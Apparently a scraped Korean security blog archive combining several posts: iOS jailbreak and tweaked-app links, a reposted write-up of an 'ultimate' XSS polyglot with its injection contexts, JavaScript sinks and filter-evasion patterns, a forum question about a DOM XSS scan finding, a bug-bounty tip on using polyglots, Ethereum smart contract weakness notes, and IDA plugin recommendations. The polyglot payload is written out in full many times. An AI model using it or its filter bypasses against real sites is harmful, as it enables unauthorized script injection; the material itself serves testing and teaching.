https://yalujailbreak.net/chimera-jailbreak/

 

Download Chimera jailbreak for iOS 12.0-12.5

Electra Team just released Chimera jailbreak for iPhone XS, XS Max, and XR running iOS 12.0-12.4. Here's how you can download and install it.

yalujailbreak.net

https://ipa-apps.me/

 

Jailbreak & ++Apps No Jb Or Pc

Watusi Vip | v22.5.71 Watusi / OnlineNotify / WAUnlimitedSend / FilesBackup / WhatsAppFix / DuplicatorStore to active OnlineNotify, you need to enter any email,pass then login will be Successful.

ipa-apps.me

 

 

 

 

'모바일' 카테고리의 다른 글

[IOS] 탈옥 탐지(Jailbreak) 코드 예시.  (0) 2022.10.21
iOS 디버깅 우회  (0) 2022.05.14
[apk-mitm] APK 파일 SSL/TLS pinning 우회 및 기능 없애는 방법 (펌)  (0) 2022.04.28
libil2cpp-Patcher  (0) 2022.04.27
android jadx tool  (0) 2021.12.11
블로그 이미지

wtdsoul

,

https://github.com/0xsobky/HackVault/wiki/Unleashing-an-Ultimate-XSS-Polyglot

 

GitHub - 0xSobky/HackVault: A container repository for my public web hacks!

A container repository for my public web hacks! Contribute to 0xSobky/HackVault development by creating an account on GitHub.

github.com

Unleashing an Ultimate XSS Polyglot

Ahmed Elsobky edited this page on Feb 17, 2018 · 20 revisions

Foreword:

When it comes to testing for cross-site scripting vulnerabilities (a.k.a. XSS), you’re generally faced with a variety of injection contexts where each of which requires you to alter your injection payload so it suites the specific context at hand. This can be too tedious and time consuming in most cases, but luckily, XSS polyglots can come in handy here to save us a lot of time and effort.


What is an XSS polyglot?

An XSS polyglot can be generally defined as any XSS vector that is executable within various injection contexts in its raw form.

So, what polyglot you came up with?

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

Anatomy of the polyglot (in a nutshell):

  • jaVasCript:: A label in ECMAScript; a URI scheme otherwise.
  • /*-/*`/*\`/*'/*"/**/: A multi-line comment in ECMAScript; a literal-breaker sequence.
  • (/* */oNcliCk=alert() ): A tangled execution zone wrapped in invoking parenthesis!
  • //%0D%0A%0d%0a//: A single-line comment in ECMAScript; a double-CRLF in HTTP response headers.
  • </stYle/</titLe/</teXtarEa/</scRipt/--!>: A sneaky HTML-tag-breaker sequence.
  • \x3csVg/<sVg/oNloAd=alert()//>\x3e: An innocuous svg element.

Total length: 144 characters.

What injection contexts does it cover?

HTML contexts covered:

  • Double-quoted tag attributes:
<input type="text" value="

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

"></input>

Demo: https://jsbin.com/dopepi

  • Single-quoted tag attributes:
<input type='text' value='

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

'></input>

Demo: https://jsbin.com/diwedo

  • Unquoted tag attributes:
<input type=text value=jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e></input>

Demo: https://jsbin.com/zizuvad

  • Unquoted tag attributes with HTML-escaped values (may require a click):
<img border=3 alt=jaVasCript:/*-/*`/*\`/*&#039;/*&quot;/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//&lt;/stYle/&lt;/titLe/&lt;/teXtarEa/&lt;/scRipt/--!&gt;\x3csVg/&lt;sVg/oNloAd=alert()//&gt;\x3e>

Demo: https://jsbin.com/gopavuz (note that the click might not be needed with elements that support the onload event handler.)

  • href/xlink:href and src attributes with HTML-escaped values:
<a href="

jaVasCript:/*-/*`/*\`/*&#039;/*&quot;/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//&lt;/stYle/&lt;/titLe/&lt;/teXtarEa/&lt;/scRipt/--!&gt;\x3csVg/&lt;sVg/oNloAd=alert()//&gt;\x3e

">click me</a>

Demo: https://jsbin.com/kixepi

<math xlink:href="

jaVasCript:/*-/*`/*\`/*&#039;/*&quot;/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//&lt;/stYle/&lt;/titLe/&lt;/teXtarEa/&lt;/scRipt/--!&gt;\x3csVg/&lt;sVg/oNloAd=alert()//&gt;\x3e

">click me</math>

Demo: https://jsbin.com/bezofuw

<iframe src="

jaVasCript:/*-/*`/*\`/*&#039;/*&quot;/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//&lt;/stYle/&lt;/titLe/&lt;/teXtarEa/&lt;/scRipt/--!&gt;\x3csVg/&lt;sVg/oNloAd=alert()//&gt;\x3e

"></iframe>

Demo: https://jsbin.com/feziyi

  • HTML comments:
<!--

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

-->

Demo: https://jsbin.com/taqizu

  • Arbitrary common HTML tags:
<title>

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

</title>

Demo: https://jsbin.com/juzuvu

<style>

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

</style>

Demo: https://jsbin.com/qonawa

<textarea>

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

</textarea>

Demo: https://jsbin.com/mecexo

<div>

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

</div>

Demo: https://jsbin.com/wuvumuh

Script contexts covered:

  • Double-quoted strings:
var str = "jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e";

Demo: https://jsbin.com/coteco

  • Single-quoted strings:
var str = 'jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e';

Demo: https://jsbin.com/bupera

  • Template strings/literals (ES6):
String.raw`jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e`;

Demo: https://jsbin.com/rewapay

  • Regular expression literals:
var re = /jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e/;

Demo: https://jsbin.com/zepiti

  • Single-line and multi-line comments:
<script>

//jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

</script>

Demo: https://jsbin.com/fatorag

<script>
/*

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

*/
</script>

Demo: https://jsbin.com/vovogo

JS sinks:

  • eval:
eval(location.hash.slice(1));

Demo: https://jsbin.com/qejisu#jaVasCript:/*-/*%60/%5C%60/*'/%22/**/(/*%20*/oNcliCk=alert()%20)//%0D%0A%0d%0a//%3C/stYle/%3C/titLe/%3C/teXtarEa/%3C/scRipt/--!%3E%5Cx3csVg/%3CsVg/oNloAd=alert()//%3E%5Cx3e

  • setTimeout:
setTimeout(location.search.slice(1));

Demo: https://jsbin.com/qawusa?jaVasCript:/*-/*%60/*%5C%60/*'/*%22/**/(/*%20*/oNcliCk=alert()%20)//%0D%0A%0d%0a//%3C/stYle/%3C/titLe/%3C/teXtarEa/%3C/scRipt/--!%3E%5Cx3csVg/%3CsVg/oNloAd=alert()//%3E%5Cx3e

  • setInterval:
setInterval(location.search.slice(1));

Demo: https://jsbin.com/colese?jaVasCript:/*-/*%60/*%5C%60/*'/*%22/**/(/*%20*/oNcliCk=alert()%20)//%0D%0A%0d%0a//%3C/stYle/%3C/titLe/%3C/teXtarEa/%3C/scRipt/--!%3E%5Cx3csVg/%3CsVg/oNloAd=alert()//%3E%5Cx3e

  • Function:
new Function(location.search.slice(1))();

Demo: https://jsbin.com/hizemi?jaVasCript:/*-/*%60/*%5C%60/*'/*%22/**/(/*%20*/oNcliCk=alert()%20)//%0D%0A%0d%0a//%3C/stYle/%3C/titLe/%3C/teXtarEa/%3C/scRipt/--!%3E%5Cx3csVg/%3CsVg/oNloAd=alert()//%3E%5Cx3e

  • innerHTML/outerHTML and document.write with HTML-escaped strings:
var data = "jaVasCript:/*-/*`/*\`/*&#039;/*&quot;/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//&lt;/stYle/&lt;/titLe/&lt;/teXtarEa/&lt;/scRipt/--!&gt;\x3csVg/&lt;sVg/oNloAd=alert()//&gt;\x3e";
document.documentElement.innerHTML = data;

Demo: https://jsbin.com/nimokaz

var data = "jaVasCript:/*-/*`/*\`/*&#039;/*&quot;/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//&lt;/stYle/&lt;/titLe/&lt;/teXtarEa/&lt;/scRipt/--!&gt;\x3csVg/&lt;sVg/oNloAd=alert()//&gt;\x3e";
document.head.outerHTML = data;

Demo: https://jsbin.com/yowivo

var data = "jaVasCript:/*-/*`/*\`/*&#039;/*&quot;/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//&lt;/stYle/&lt;/titLe/&lt;/teXtarEa/&lt;/scRipt/--!&gt;\x3csVg/&lt;sVg/oNloAd=alert()//&gt;\x3e";
document.write(data);
document.close();

Demo: https://jsbin.com/ruhofi

  • Event handlers with HTML-escaped values:
<svg onload="

void 'javascript:/*-/*`/*\`/*&#039;/*&quot;/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//&lt;/stYle/&lt;/titLe/&lt;/teXtarEa/&lt;/scRipt/--!&gt;\x3csVg/&lt;sVg/oNloAd=alert()//&gt;\x3e';

"></svg>

Demo: https://jsbin.com/puboha

Filter evasion:

As you might have already noticed, the polyglot has been crafted with filter evasion in mind. For instance:

  • jaVasCript:, oNcliCk=, et al. bypasses:
preg_replace('/\b(?:javascript:|on\w+=)/', '', PAYLOAD);
  • /*`/*\` bypasses:
preg_replace('/`/', '\`', PAYLOAD);
  • </stYle/</titLe/</teXtarEa/</scRipt/--!> bypasses:
preg_replace('/<\/\w+>/', '', PAYLOAD);
  • --!> bypasses:
preg_replace('/-->/', '', PAYLOAD);
  • <sVg/oNloAd=alert()//> bypasses:
preg_replace('/<\w+\s+/', '', PAYLOAD);

Bonus attacking contexts covered:

CRLF-based XSS:

HTTP/1.1 200 OK
Date: Sun, 01 Mar 2016 00:00:00 GMT
Content-Type: text/html; charset=utf-8
Set-Cookie: x=jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//

//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

Error-based SQL injections (yes, SQLi!):

SELECT * FROM Users WHERE Username='jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e'
SELECT * FROM Users WHERE Username="jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e"
And even more; eish...I'm tired counting down already!
  •  

'경로 및 정보' 카테고리의 다른 글

Heidi SQL Portable  (0) 2022.05.20
criminal ip  (0) 2022.05.17
[Ethereum] Smart Contract 보안 취약점 가이드  (0) 2022.05.11
URL 경로 확인  (0) 2022.05.03
Wordpress 추가  (0) 2022.05.02
블로그 이미지

wtdsoul

,

DOM 기반 XSS (펌)

2022. 5. 11. 13:17

DOM 기반 XSS 방어 관련 질문입니다.


https://okky.kr/article/872734?note=2239980

 

OKKY | DOM 기반 XSS 공격의 개념이 잡히질 않아 질문드립니다.

DOM Base XSS cheat sheet 문서를 읽어보는데 이해가 어려워 질문드립니다. DOM 기반 XSS 공격에 대해 URL에 포함된 악성 스크립트가 동작하여 발생하는 문제라고 배웠습니다. 이에 대해 HTML 코드로 인식

okky.kr

 

상기 링크의 질문에서 이어서 한 번 더 질문드리고자 합니다.

 

현재 관리 중인 페이지가 보안 검사 결과 URL 전반에서 DOM 기반 XSS 공격에 취약판정을 받았습니다.

 

공격받은 내용의 예시는 아래와 같습니다.

 

URL : https://127.0.0.1/cgi-bin/pglogin.cgi#jaVasCript:/*-/*`/*\`/*'/*"/**/(/*  */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

Method : GET

 

공격받은 URL (https://127.0.0.1/cgi-bin/pglogin.cgi ) 은 페이지 접속을 담당하는 CGI 전반이며

 

예시에 해당하는 URL로 접속하면 아래의 정적 HTML 문서를 전달합니다.

 

 

<!DOCTYPE HTML>
<html>
        <head>
                <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
                <link type="text/css" rel="stylesheet" href="/css/style.css"/>
                <link type="text/css" rel="stylesheet" href="/css/jquery-ui.min.css"/>
                <link type="text/css" rel="stylesheet" href="/css/jquery.highlighttextarea.min.css"/>
                <!--
                <link type="text/css" rel="stylesheet" href="/css/offline-theme-default.css"/>
                <link type="text/css" rel="stylesheet" href="/css/offline-language-english.css"/>
                -->
                <script type="text/javascript" src="/js/jquery-3.5.1.min.js"></script>
                <script type="text/javascript" src="/js/jquery-ui.min.js"></script>
                <script type="text/javascript" src="/js/jquery.highlighttextarea.min.js"></script>
                <script type="text/javascript" src="/js/util.js"></script>
                <script type="text/javascript" src="/js/loginaction.js"></script>
                <!--
                <script type="text/javascript" src="/js/offline.min.js"></script>
                -->

                <title>Monitoring Tool Demo</title>
        </head>
        <body onload="initAntiCsrf()">
          <div align="center" halign="center">
            <div id="header">
              <table class="ttl_table">
                <tr>
                  <td class="ttl_title"><font size="5">Monitoring Tool Demo</font></td>
                </tr>
                <tr>
                  <td class="ttl_name">
                    &nbsp;
                  </td>
                </tr>
              </table>
            </div>
            <!-- vim:set ts=8 sts=2 sw=2: -->
            <table>
                        <h2>Log In</h2>
                        <tr>
                                <td>Name</td>
                                <td><input type='name' style='width:150px;' name='nm' maxlength='25' size='16' id="nm_input" required></input></td>
                        </tr>
                        <tr>
                                <td>Password</td>
                                <td><input type='password' style='width:150px;' name='ps' onKeyDown='EnterLogin(event);' maxlength='16' size='16' id="pw_input" required></input></td>
                        </tr>
                </table>
                <div id="warning" style="color:red; font-weight:bolder;"></div>
            <p>
                <input type='button' value='Log In' style='width:100px;' name='action'  onClick='BtLogin();' >
                &nbsp;&nbsp;&nbsp;
                <input type='reset' value='Cancel' style='width:100px;'>
            </p>
          </div>
        </body>
</html>

 

Input에 대한 검증 등은 전적으로 서버가 수행중이기에 이 부분도 고쳐야할 것 같습니다만...

 

제가 지식이 없어서인지 단순 페이지를 불러오는 URL에서 위와 같은 #을 활용한 공격법으로 취약판정이 나오는건 여전히 어째서인지를 모르겠습니다...

 

혹시 짐작가시는게 있다면 도와주시면 정말 감사하겠습니다.

'' 카테고리의 다른 글

SSRF (펌)  (0) 2022.06.14
HTTP Request Smuggling (펌)  (0) 2022.06.14
XSS 버그바운티 (펌)  (0) 2022.05.11
Wordpress file uplad exploit 확인  (0) 2022.05.02
wordpress 대표적인 취약점 정리  (0) 2022.04.29
블로그 이미지

wtdsoul

,

XSS 버그바운티 (펌)

2022. 5. 11. 13:15

https://te-ra.tistory.com/43

 

[XSS 버그바운티 TIP] XSS polyglots

최근 몇 주전에 모사이트 XSS 취약점을 발견하여 보고하게 되었다. 버그바운티를 하면서 공부할때와 리얼월드는 XSS을 찾는 방법이 차이가 있다는 것을 느꼈다. 아직 누군가에게 설명할 정도는

te-ra.tistory.com

 

 

https://github.com/TyrantSec/Fuzzing/blob/master/XSS-Polyglots/99-XSS-Polyglots.txt

 

최근 몇 주전에 모사이트 XSS 취약점을 발견하여 보고하게 되었다.

 

버그바운티를 하면서 공부할때와 리얼월드는 XSS을 찾는 방법이 차이가 있다는 것을 느꼈다.

아직 누군가에게 설명할 정도는 아니지만 초보자의 입장에서 어떻게해서 어떻게 XSS를 발견했는지를 적어보려한다.

 

 

XSS 진단

보통 XSS를 처음 공부하면 <script>alert(1)</script>식의 alert()함수를 터트리는 치트시트로 점검해야한다 생각한다.

 

alert()함수를 터트린 XSS스크립트

 

 

 

하지만 실제 웹사이트에서는 기본적인 것들은 이미 보호가 되어있어 alert()함수를 떡하니 띄어주지 않는다. alert()함수 성공 유무로 XSS를 진단 하는 것은 오래된 사이트가 아니라면 기대하기 힘들다.  alert()함수가 아닌 브라우저의 스트립트 오류를 유도하여 XSS발생 가능성을 확인하는 것이 선행되야한다.

 

XSS는 기본적으로 웹페이지에 의도치않은 스크립트가 삽입되어 발생한다.  XSS가 적용된다는 것은 <>"'--> 등 스크립트에 사용되는 문자에 의해 오류가 발생될 수 있는 환경이라는 것이다. alert()를 띄우는 것은 모든 조건이 맞아야 실행되지만 특정 문자로인한 스크립트 오류는 상대적으로 확인하기 쉽다. 

 

그렇기에 기본 치트시트 보다는 여러환경에서 오류를 확인할 수 있는 XSS polyglots 치트시트를 추천한다.

또한 XSS오류가 발생했는지 개발자도구를 통해 쉽게 확인할 수가 있다. 

 

XSS Polyglots

XSS Polyglots이란 다양한 환경에서 XSS발생 가능성을 확인하기위해 이를 유도하는 구문을 한줄로 정리한 것이다. 

XSS 치트시트는 각 환경에서 alert()를 테스트할 목적으로 각 상황별 여러 가지의 스크립트를 모아 두었다면 XSS Polyglots은 모든 상황에서 쓰일 수 있는 구문을 담기위해 노력한 스크립트라고 생각하면된다.

 

GitHub에서 Polyglots예시를 가져왔다.

github.com/0xsobky/HackVault/wiki/Unleashing-an-Ultimate-XSS-Polyglot

 

0xSobky/HackVault

A container repository for my public web hacks! Contribute to 0xSobky/HackVault development by creating an account on GitHub.

github.com

6가지의 XSS 가능성을 제시한 polyglots 스크립트이다.

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

 

다음과 같은 6가지 XSS가능성을 점검한다.

  • jaVasCript:: A label in ECMAScript; a URI scheme otherwise.
  • /*-/*`/*\`/*'/*"/**/: A multi-line comment in ECMAScript; a literal-breaker sequence.
  • (/* */oNcliCk=alert() ): A tangled execution zone wrapped in invoking parenthesis!
  • //%0D%0A%0d%0a//: A single-line comment in ECMAScript; a double-CRLF in HTTP response headers.
  • </stYle/</titLe/</teXtarEa/</scRipt/--!>: A sneaky HTML-tag-breaker sequence.
  • \x3csVg/<sVg/oNloAd=alert()//>\x3e: An innocuous svg element.

많은 상황을 커버 할 수 있는 스크립트를 제작한다면 하나의 스크립트로 한번에 여러가지 XSS가능성을 점검할 수 있을 것이다.

 

XSS Polyglots 활용법

XSS Polyglots이 적용됐는지는 개발자 도구를 통해 쉽게 확인 할 수 있다.

실제 사이트에 적용되는 곳을 찾았다 해도 함부로 공개할 수 없기에 연습용 사이트를 참고했다.

위의 스크립트에서 alert() 제외하고 XSS를 찾아보겠다.

사용한 스크립트이다.

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk= )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=//>\x3e

 

xss-quiz.int21h.jp/

 

XSS Challenges (by yamagata21) - Stage #1

XSS Challenges Stage #1 Notes (for all stages): * NEVER DO ANY ATTACKS EXCEPT XSS. * DO NOT USE ANY AUTOMATED SCANNER (AppScan, WebInspect, WVS, ...) * Some stages may fit only IE. Ranking (optional): If you want to participate in ranking, please register

xss-quiz.int21h.jp

svg상황에서 XSS발생 가능성이 있다는 것을 확인할 수 있다.

 

스크립트를 적용한 이미지

이렇게 대놓고 적용된다고 안뜨더라도 스크립트의 영향으로 오류가 발생하였다면 크롬 개발자 도구에서 콘솔창에 오류가 있는 페이지를 띄어준다. 마땅한 예시를 찾는다면 업데이트를 하겠다.

 

 

정리

XSS Polygolts -> 오류발생 or 스크립트 발생 확인 -> 검증 스크립트 유도

기본적인 XSS 진단은 3가지 프로세스를 사용하여 XSS취약점을 발견하였다.

XSS를 잘 적용하기위해선 발생가능한 환경을 잘 파악해두는 것이 첫번째이다.

예전에 비해 웹사이트 보안이 강화되어 찾기 어렵게 됐지만 아직 잘 찾아보면 한두개는 존재하는 것 같다.

찾는데 시간이 오래걸리지만 찾으면 용돈도 되고 스펙도 되니 모두 잘 노력해서 찾아보자

 

'' 카테고리의 다른 글

HTTP Request Smuggling (펌)  (0) 2022.06.14
DOM 기반 XSS (펌)  (0) 2022.05.11
Wordpress file uplad exploit 확인  (0) 2022.05.02
wordpress 대표적인 취약점 정리  (0) 2022.04.29
Wordpress 정리  (0) 2022.04.29
블로그 이미지

wtdsoul

,

 

https://jihyeong-ji99hy99.tistory.com/206

 

[Ethereum] Smart Contract 보안 취약점

이더리움 보안 가이드라인 - Minimalism : 꼭 필요한 기능들만 가진 contract을 제작하자. - Code reuse : 코드를 작성할 때 library를 찾아서 써라. - Code quality : 제작된 contract은 항상 블록체인에 올라가..

jihyeong-ji99hy99.tistory.com

 

 

이더리움 보안 가이드라인

- Minimalism : 꼭 필요한 기능들만 가진 contract을 제작하자.
- Code reuse : 코드를 작성할 때 library를 찾아서 써라.
- Code quality : 제작된 contract은 항상 블록체인에 올라가 있다. 따라서 처음 만들 때 제대로 만들어서 사용하자.
- Readability : 가독성이 좋도록 작성하자.
- Test coverage : 다양한 형태의 input 값을 테스트 해보자.

 

 

대표적인 취약점

1) Reentrancy 공격

: fallback() 함수를 이용한 취약점이다. 사용자가 외부 공격자의 contract 코드를 사용했을 때, 호출한 함수가 존재하지 않는다면 공격자 contract의 fallback() 함수가 동작된다. 그럼 이때, fallback 함수 안에 악의적인 코드를 넣어 얻어걸릴 수 있는 취약점이다.

(해결방안) - transfer 함수 사용

            - 외부 call이 필요할 시에는 내부 state를 미리 다 변화시키기

            - 뮤 택스를 사용

 

2) Overflow와 Underflow

: 자료형을 사용할 때 지정된 범위를 넘어서면 언더 플로 혹은 오버플로가 발생한다. 값을 넘겨줄 때 발생할 수 있다.

(해결방안) - 직접 대입 X

             - assert() 함수로 확인하는 작업 추가

             - 안전한 library를 사용

 

3) Unexpected Ether

: 공격자가 A라는 account가 만들어지는 것과 account의 address를 추측할 수 있다면, 발생할 수 있는 취약점이다. 해당 계정이 생성되기 전에 해당 address로 이더를 전송하면 none-zero ether balance를 가진 account가 생성된다. 이러한 계정은 이더 게임에서 악용될 수도 있다. 

(해결방안) - this.balance를 직접 사용 X

 

4) Delegate Call

: 사용자가 외부 contract을 사용할 경우, 호출한 contract의 context는 본인의 context 기반이 아니라 호출한 context 기반으로 코드가 동작된다. library를 사용할 때 발생할 수도 있으며, 호출한 쪽의 state 기반으로 동작되기 때문에 원래와는 다른 용도로 동작될 수 있다.

(해결방안) - library keyword를 사용 >> 무조건 외부 state를 가져와서 사용할 수 있도록 함.

 

5) Default Visbilities

: 함수 키워드를 사용하지 않을 때 발생하는 취약점이다. 함수 키워드를 작성하지 않으면 기본적으로 public으로 지정된다. 따라서 제작자의 실수로 코드가 유출될 수도 있고, 공격자들은 디렉트로 함수로 접근할 수 있게 된다.

(해결방안) - 함수 키워드 반드시 작성

 

6) Entropy Illusion

: 난수 생성에 대한 취약점이다. 이더리움에는 난수를 생성할 수 있는 소스가 존재하지 않는다. 따라서 다양한 난수 생성과 관련한 접근이 존재했는데, 그중 하나의 예시로 미래에 생성되는 값을 가져와서 쓰고 현재 참여한 시점에서 나중의 값을 예측할 수 없기 때문에 해당 값을 난수로 사용할 수 있다는 아이디어이다. 하지만 마이닝을 통해 혹은 아예 결과를 예측할 수 없을 것이라고 단정 짓기는 어렵기 때문에 취약점이 발생할 수도 있다.

 

7) Vulnerability

: 외부 contract을 호출할 때 발생할 수 있는 문제점으로, 사용자는 호출한 contract이 본인이 사용하려는 conrract인지 확인하지 않기 때문에 다른 address가 들어가게 될 경우를 알 수 없다.

(해결방안) - 내부 distance로 작성하여 사용

            - 외부 함수 호출 코드는 public으로 작성 // 다른 사람이 이걸 쓸 때 취약하다고 판단되면 알아서 안 쓰겠지.. 마인드

 

8) Unchecked Call Return value

: call 함수나 send 함수를 사용할 때 리턴 값을 제대로 확인하지 않아 발생하는 취약점이다. 앞서 이더리움에서는 문제가 생기면 자동으로 reboot 되는 개념을 설명한 적이 있다. 따라서 해당 리턴 값을 잘 확인하지 않는 경우가 생기는데, send 함수의 예로, gas price가 부족하여 정보를 다 불러오지 못하게 되면 contract은 이를 return false로 반환한 뒤에 다음 코드를 실행시킨다. 즉, 정상작동이라는 의미이다.

(해결방안) - transfer() 함수 사용

             - return value 체크

             - withdrawal 패턴 사용

 

9) Race Condition / Front Running

: 사용자에 따라 gasprice가 높은 transaction을 먼저 받아들일 수 있다. 따라서 정답을 알아맞히는 게임에서 A가 정답을 보냈는데 B가 이를 베껴 똑같이 관리자에게 보내게 되면 관리자는 gasprice가 높은 B를 먼저 보게 된다. 

(해결방안) 두 페이지를 나눠서 제공한다. 즉 제일 처음 transaction은 데이터를 숨겨서 보내고, 확인 시에 정답 데이터를 transaction 할 수 있도록 함. (hash 함수에서와 동일)

 

 

'경로 및 정보' 카테고리의 다른 글

criminal ip  (0) 2022.05.17
Unleashing an Ultimate XSS Polyglot  (0) 2022.05.11
URL 경로 확인  (0) 2022.05.03
Wordpress 추가  (0) 2022.05.02
ipv4 대신 경로 참고  (0) 2022.04.30
블로그 이미지

wtdsoul

,

aicpschools.net

 

Aicpschools.net - traffic ranking & similars - xranks.com

Are you curious to know about Aicpschools.net ranking, valuation or traffic estimations ? or maybe you need best alternative websites to Aicpschools.net ? Get it now on Xranks !

xranks.com

 

 

'경로 및 정보' 카테고리의 다른 글

Unleashing an Ultimate XSS Polyglot  (0) 2022.05.11
[Ethereum] Smart Contract 보안 취약점 가이드  (0) 2022.05.11
Wordpress 추가  (0) 2022.05.02
ipv4 대신 경로 참고  (0) 2022.04.30
서브넷 마스크 계산 경로  (0) 2022.04.29
블로그 이미지

wtdsoul

,

 

 

https://live2skull.tistory.com/13

 

IDA - 셋팅, 플러그인 모음

IDA 6.8 버전 기준. 들어가기 전에... IDA란? Interactive DisAssembler 의 약자로, 강력한 바이너리 정적 분석 기능을 가진 툴이라 할 수 있다. 특히 같이 설치되는 Hexray Decompiler 는 왠만한 ASM 코드를 가..

live2skull.tistory.com

 

IDA 6.8 버전 기준.

 

들어가기 전에...

IDA란? Interactive DisAssembler 의 약자로, 강력한 바이너리 정적 분석 기능을 가진 툴이라 할 수 있다.

특히 같이 설치되는 Hexray Decompiler 는 왠만한 ASM 코드를 가상 C언어 Pseudocode로 변환하고, 이를 기반으로 디버깅 할 수 있는 점이 큰 장점으로 꼽히고 있으며, C++, Python을 기반으로 하는 다양한 플러그인을 제작해 사용할 수 있다.

이 외에도 찾아보면 다양한 장점이 존재한다.

 

- 셋팅

 

1. 플러그인 설치

먼저, 초기 설치 시 같이 설치되는 IDAPython을 설치하지 않았다면, 과감하게 전체 삭제 후 다시 설치하자.

물론 수동으로 나중에 따로 설치해도 되겠지만 이거 은근히 귀찮고 잘 안된다.

 

플러그인은 크게 %IDA_INSTALLED_DIR%\Plugins 에 파일을 넣어 설치형으로 사용하는 것과, 필요할 때마나 스크립트를 로드하여 사용하는 두 가지 방식이 있다.

 

! 계속해서 추가 중.

 

설치형 플러그인.

[LINK] IDATheme

- 하얀색 배경에 싸 보이는 IDA에 블랙 계열의 멋있는 테마를 적용 시켜준다.

[LINK] IDAConsonance

- IDATheme 같이 사용해 IDA-View 부분의 테마 파일. 디버거 테마는 따로 설정해야 된다. 상단의 Options -> Color -> Import 에서 로드해주면 자동 적용된다.

[LINK] IDAPatcher

- NOP패치 등 간단한 바이너리 패치 작업을 좀 더 편리하게 해준다.

[LINK] IDASploiter

- ROP Gadget, Function Pointer 검색 등 익스플로잇 작성 편의를 위한 플러그인.

[LINK] Class Informer

- Windows C++ 을 기반으로 한 WIN32 바이너리의 클래스 및 구조체를 역추적해준다. GCC 컴파일러 기반 바이너리도 일부 지원한다.

[LINK] HexRaysCodeXplorer

